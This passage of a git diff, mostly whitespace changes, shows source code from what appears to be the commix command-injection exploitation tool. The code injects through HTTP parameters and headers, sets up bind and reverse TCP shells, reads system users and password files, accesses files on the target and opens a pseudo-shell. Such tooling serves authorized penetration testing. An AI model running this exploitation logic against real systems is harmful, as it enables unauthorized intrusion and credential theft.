Style.RESET_ALL) @@ -373,10 +373,10 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time Inject HTTP headers (User-agent / Referer / Host) (if level > 2). """ def http_headers_injection(url, http_request_method, filename, timesec): - # Disable Cookie Injection + # Disable Cookie Injection settings.COOKIE_INJECTION = None - def user_agent_injection(url, http_request_method, filename, timesec): + def user_agent_injection(url, http_request_method, filename, timesec): user_agent = menu.options.agent if not menu.options.shellshock: menu.options.agent = menu.options.agent + settings.INJECT_TAG @@ -401,7 +401,7 @@ def referer_injection(url, http_request_method, filename, timesec): settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.REFERER_INJECTION = False + settings.REFERER_INJECTION = False menu.options.agent = referer def host_injection(url, http_request_method, filename, timesec): @@ -415,7 +415,7 @@ def host_injection(url, http_request_method, filename, timesec): settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.HOST_INJECTION = False + settings.HOST_INJECTION = False menu.options.host = host # User-Agent HTTP header injection @@ -424,7 +424,7 @@ def host_injection(url, http_request_method, filename, timesec): user_agent_injection(url, http_request_method, filename, timesec) else: if "user-agent" not in menu.options.skip_parameter.lower(): - user_agent_injection(url, http_request_method, filename, timesec) + user_agent_injection(url, http_request_method, filename, timesec) # Referer HTTP header injection if menu.options.skip_parameter == None: @@ -432,7 +432,7 @@ def host_injection(url, http_request_method, filename, timesec): referer_injection(url, http_request_method, filename, timesec) else: if "referer" not in menu.options.skip_parameter.lower(): - referer_injection(url, http_request_method, filename, timesec) + referer_injection(url, http_request_method, filename, timesec) # Host HTTP header injection if menu.options.skip_parameter == None: @@ -440,7 +440,7 @@ def host_injection(url, http_request_method, filename, timesec): host_injection(url, http_request_method, filename, timesec) else: if "host" not in menu.options.skip_parameter.lower(): - host_injection(url, http_request_method, filename, timesec) + host_injection(url, http_request_method, filename, timesec) """ Check for stored injections on User-agent / Referer headers (if level > 2). @@ -456,7 +456,7 @@ def stored_http_header_injection(url, check_parameter, http_request_method, file elif check_parameter == "host": menu.options.host= settings.INJECT_TAG settings.HOST_INJECTION = True - else: + else: menu.options.agent = settings.INJECT_TAG settings.USER_AGENT_INJECTION = True injection_proccess(url, check_parameter, http_request_method, filename, timesec) @@ -466,7 +466,7 @@ def stored_http_header_injection(url, check_parameter, http_request_method, file """ -Cookie injection +Cookie injection """ def cookie_injection(url, http_request_method, filename, timesec): @@ -484,7 +484,7 @@ def cookie_injection(url, http_request_method, filename, timesec): cookie_parameters_list.append(cookie_parameters) cookie_parameters = cookie_parameters_list - # Remove whitespaces + # Remove whitespaces cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] check_parameters = [] @@ -509,25 +509,25 @@ def cookie_injection(url, http_request_method, filename, timesec): if check_parameter in "".join(settings.TEST_PARAMETER).split(","): menu.options.cookie = cookie_parameters[param_counter] check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - # Check for session file + # Check for session file check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) param_counter += 1 - break + break else: - # Check for session file + # Check for session file check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + if settings.COOKIE_INJECTION == True: # Restore cookie value menu.options.cookie = cookie_value - # Disable cookie injection + # Disable cookie injection settings.COOKIE_INJECTION = False """ Check if HTTP Method is GET. -""" +""" def get_request(url, http_request_method, filename, timesec): found_url = parameters.do_GET_check(url, http_request_method) @@ -556,23 +556,23 @@ def get_request(url, http_request_method, filename, timesec): if check_parameter in "".join(settings.TEST_PARAMETER).split(","): url = found_url[url_counter] check_parameter = parameters.vuln_GET_param(url) - # Check for session file + # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) url_counter += 1 break else: - # Check for session file + # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) else: - # Check for session file + # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) """ Check if HTTP Method is POST. -""" +""" def post_request(url, http_request_method, filename, timesec): parameter = menu.options.data @@ -587,8 +587,8 @@ def post_request(url, http_request_method, filename, timesec): if settings.IS_XML: # Remove junk data found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x] - else: - # Remove whitespaces + else: + # Remove whitespaces found_parameter = [x.replace(settings.SINGLE_WHITESPACE, "") for x in found_parameter] # Check if multiple parameters @@ -616,17 +616,17 @@ def post_request(url, http_request_method, filename, timesec): if check_parameter in "".join(settings.TEST_PARAMETER).split(","): menu.options.data = found_parameter[param_counter] check_parameter = parameters.vuln_POST_param(menu.options.data, url) - # Check for session file + # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) param_counter += 1 break else: - # Check for session file + # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) else: - # Check for session file + # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) @@ -652,7 +652,7 @@ def perform_checks(url, http_request_method, filename): except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() - elif menu.options.auth_url or menu.options.auth_data: + elif menu.options.auth_url or menu.options.auth_data: err_msg = "You must specify both login panel URL and login parameters." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -673,13 +673,13 @@ def perform_checks(url, http_request_method, filename): check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) settings.CUSTOM_HEADER_INJECTION = None - + # Check if defined POST data if not settings.COOKIE_INJECTION: if settings.USER_DEFINED_POST_DATA: post_request(url, http_request_method, filename, timesec) else: - get_request(url, http_request_method, filename, timesec) + get_request(url, http_request_method, filename, timesec) _ = menu.options.level if _ >= settings.COOKIE_INJECTION_LEVEL: @@ -703,7 +703,7 @@ def perform_checks(url, http_request_method, filename): if settings.INJECTION_CHECKER == False: return False else: - return True + return True """ General check on every injection technique. @@ -714,7 +714,7 @@ def do_check(url, http_request_method, filename): settings.RECHECK_FILE_FOR_EXTRACTION = False # Check for '--tor' option. - if menu.options.tor: + if menu.options.tor: if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " warn_msg += "time-based injections because of inherent high latency time." @@ -732,7 +732,7 @@ def do_check(url, http_request_method, filename): scan_level = menu.options.level while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL) and settings.LOAD_SESSION != True: while True: - message = "Do you want to increase to '--level=" + str(scan_level + 1) + message = "Do you want to increase to '--level=" + str(scan_level + 1) message += "' in order to perform more tests? [Y/n] > " next_level = common.read_input(message, default="Y", check_batch=True) if next_level in settings.CHOICE_YES: @@ -740,17 +740,17 @@ def do_check(url, http_request_method, filename): if perform_checks(url, http_request_method, filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL : scan_level = scan_level + 1 else: - break + break elif next_level in settings.CHOICE_NO: break elif next_level in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(next_level) + common.invalid_option(next_level) pass else: perform_checks(url, http_request_method, filename) - + # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: @@ -768,7 +768,7 @@ def do_check(url, http_request_method, filename): if not settings.SKIP_TECHNIQUES : err_msg += "'--technique'." else: - err_msg += "'--skip-technique'." + err_msg += "'--skip-technique'." err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" if not menu.options.alter_shell : err_msg += " use option '--alter-shell'" @@ -784,7 +784,7 @@ def do_check(url, http_request_method, filename): if settings.MULTI_TARGETS: err_msg += " Skipping to the next target." print(settings.print_error_msg(err_msg)) - else: + else: logs.print_logs_notification(filename, url) # if not settings.MULTI_TARGETS: # print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index a8156b5cce..9f13df06c5 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -35,14 +35,14 @@ def logfile_parser(): def multi_requests(): print(settings.SINGLE_WHITESPACE) err_msg = "Multiple" - if menu.options.requestfile: + if menu.options.requestfile: err_msg += " requests" - elif menu.options.logfile: + elif menu.options.logfile: err_msg += " targets" err_msg += " are not supported, thus all coming" - if menu.options.requestfile: + if menu.options.requestfile: err_msg += " requests " - elif menu.options.logfile: + elif menu.options.logfile: err_msg += " targets " err_msg += "will be ignored." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") @@ -64,10 +64,10 @@ def invalid_data(request): if menu.options.requestfile: info_msg = "Parsing HTTP request " request_file = menu.options.requestfile - elif menu.options.logfile: + elif menu.options.logfile: info_msg = "Parsing target " request_file = menu.options.logfile - + if not os.path.exists(request_file): print(settings.SINGLE_WHITESPACE) err_msg = "It seems that the '" + request_file + "' file, does not exist." @@ -90,7 +90,7 @@ def invalid_data(request): request = file.read() else: invalid_data(request_file) - + except IOError as err_msg: error_msg = "The '" + request_file + "' " error_msg += str(err_msg.args[1]).lower() + "." @@ -123,15 +123,15 @@ def invalid_data(request): if checks.is_XML_check(item): multiple_xml.append(item) if len(multiple_xml) != 0: - menu.options.data = '\n'.join([str(item) for item in multiple_xml]) - else: + menu.options.data = '\n'.join([str(item) for item in multiple_xml]) + else: menu.options.data = result[len(result)-1] else: # Check if url ends with "=". if request_url[0].endswith("="): request_url = request_url[0].replace("=","=" + settings.INJECT_TAG, 1) except IndexError: - invalid_data(request_file) + invalid_data(request_file) # Check if invalid data else: @@ -175,19 +175,19 @@ def invalid_data(request): match = match.replace("('","") match = match.replace("')","\\n") # Ignore some header. - if "Content-Length" or "Accept-Encoding" in match: + if "Content-Length" or "Accept-Encoding" in match: extra_headers = extra_headers else: extra_headers = extra_headers + match - - # Extra headers + + # Extra headers menu.options.headers = extra_headers - # Target URL + # Target URL if not menu.options.host: invalid_data(request_file) else: if len(_urllib.parse.urlparse(request_url).scheme) == 0: - request_url = scheme + request_url + request_url = scheme + request_url if not menu.options.host in request_url: request_url = request_url.replace(scheme, scheme + menu.options.host) request_url = checks.check_http_s(request_url) diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index d88e06b65a..0712945e87 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -45,7 +45,7 @@ def check_established_connection(): if settings.LHOST + ":" + settings.LPORT in line and "ESTABLISHED" in line: pass else: - return + return """ Execute the bind / reverse TCP shell @@ -67,7 +67,7 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_ else: whitespace = settings.WHITESPACES[0] if whitespace == settings.SINGLE_WHITESPACE: - whitespace = _urllib.parse.quote(whitespace) + whitespace = _urllib.parse.quote(whitespace) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) end = time.time() diff = end - start @@ -100,7 +100,7 @@ def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_reques while True: if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_bind_tcp_options(settings.RHOST) - else: + else: cmd = bind_tcp.bind_tcp_options(separator) result = checks.check_bind_tcp_options(cmd) if result != None: @@ -111,10 +111,10 @@ def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_reques settings.BIND_TCP = False elif result == 3: settings.BIND_TCP = False - reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) return go_back, go_back_again - # execute bind TCP shell + # execute bind TCP shell execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE) """ @@ -133,7 +133,7 @@ def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_req while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options(settings.LHOST) - else: + else: cmd = reverse_tcp.reverse_tcp_options(separator) result = checks.check_reverse_tcp_options(cmd) if result != None: @@ -145,17 +145,17 @@ def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_req elif result == 3: settings.REVERSE_TCP = False bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) - #reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again) + #reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again) return go_back, go_back_again - # execute reverse TCP shell + # execute reverse TCP shell execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE) """ Check commix shell options """ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE): - os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) + os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) if os_shell_option == "back" or os_shell_option == True or os_shell_option == False: go_back = True @@ -164,7 +164,7 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m return go_back, go_back_again # The "os_shell" option - elif os_shell_option == "os_shell": + elif os_shell_option == "os_shell": warn_msg = "You are into the '" + os_shell_option + "' mode." print(settings.print_warning_msg(warn_msg)) return go_back, go_back_again @@ -180,8 +180,8 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m return go_back, go_back_again # The "quit" option - elif os_shell_option == "quit": - logs.print_logs_notification(filename, url) + elif os_shell_option == "quit": + logs.print_logs_notification(filename, url) raise SystemExit() else: diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 671675f952..413f16e9d5 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re @@ -32,7 +32,7 @@ Powershell's version number enumeration (for Windows OS) """ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False + _ = False cmd = settings.PS_VERSION if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) @@ -57,7 +57,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False if settings.TARGET_OS == settings.OS.WINDOWS: - settings.HOSTNAME = settings.WIN_HOSTNAME + settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -76,14 +76,14 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur """ Retrieve system information """ -def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False +def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS + cmd = settings.RECOGNISE_OS if settings.TARGET_OS == settings.OS.WINDOWS: if alter_shell: - cmd = "cmd /c " + cmd + cmd = "cmd /c " + cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -163,8 +163,8 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re _ = False if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT + else: + cmd = settings.IS_ROOT if settings.USE_BACKTICKS: cmd = checks.remove_command_substitution(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -184,15 +184,15 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re """ System users enumeration """ -def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): +def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - cmd = settings.SYS_USERS + cmd = settings.SYS_USERS if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS # cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) - cmd = checks.add_new_cmd(cmd) + cmd = checks.add_new_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -204,15 +204,15 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users = "".join(str(p) for p in sys_users) session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: - sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) """ System passwords enumeration """ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - _ = False - cmd = settings.SYS_PASSES + _ = False + cmd = settings.SYS_PASSES if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 6cbfee5936..30fd451336 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -40,10 +40,10 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) cmd = checks.delete_tmp(tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) else: cmd = checks.write_content(content, dest_to_write) @@ -78,7 +78,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, Read a file from the target host. """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd, file_to_read = checks.file_content_to_read() + cmd, file_to_read = checks.file_content_to_read() if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if settings.URL_RELOAD: @@ -108,6 +108,6 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur if menu.options.file_read: file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True + settings.FILE_ACCESS_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 3ced16c42a..d23390fb86 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re @@ -58,13 +58,13 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ is_encoded = False export_injection_info = False - if not settings.LOAD_SESSION: + if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) - + i = 0 # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) @@ -73,7 +73,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: if whitespace == settings.SINGLE_WHITESPACE: - whitespace = _urllib.parse.quote(whitespace) + whitespace = _urllib.parse.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False @@ -98,15 +98,15 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ prefix = "" # Change TAG on every request to prevent false-positive results. - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 - + # Define alter shell alter_shell = menu.options.alter_shell - + try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). @@ -114,27 +114,27 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision(separator, TAG, randv1, randv2) - + # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - + # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: print(settings.print_payload(payload)) - + # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = cb_injector.cookie_injection_test(url, vuln_parameter, payload) - + # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. @@ -173,10 +173,10 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if settings.VERBOSITY_LEVEL == 0: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) - + if shell == False: info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: @@ -189,9 +189,9 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ else: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - + except (KeyboardInterrupt, SystemExit): print(settings.SINGLE_WHITESPACE) raise @@ -201,12 +201,12 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) - raise + raise except: continue - - # Yaw, got shellz! + + # Yaw, got shellz! # Do some magic tricks! if shell: found = True @@ -214,32 +214,32 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True - if settings.COOKIE_INJECTION == True: + if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" - elif settings.USER_AGENT_INJECTION == True: + elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.REFERER_INJECTION == True: + elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.HOST_INJECTION == True: + elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.CUSTOM_HEADER_INJECTION == True: + elif settings.CUSTOM_HEADER_INJECTION == True: header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" - else: + else: header_name = "" the_type = " parameter" # Check if defined POST data @@ -249,14 +249,14 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" + found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) + logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: @@ -276,8 +276,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - + settings.LOAD_SESSION = False + # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True : @@ -295,12 +295,12 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(enumerate_again) + common.invalid_option(enumerate_again) pass else: if menu.enumeration_options(): cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - + # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : while True: @@ -311,21 +311,21 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ menu.options.ignore_session = True cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) break - elif file_access_again in settings.CHOICE_NO: + elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(file_access_again) + common.invalid_option(file_access_again) pass else: if menu.file_access_options(): cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - + # Check if defined single cmd. if menu.options.os_cmd: cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - + # Pseudo-Terminal shell try: checks.alert() @@ -333,7 +333,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ go_back_again = False while True : if go_back == True: - break + break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.CRAWLING: settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) @@ -356,7 +356,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if go_back and go_back_again == False: break if go_back and go_back_again: - return True + return True else: # Command execution results. time.sleep(timesec) @@ -372,7 +372,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ shell = "".join(str(p) for p in shell) except: 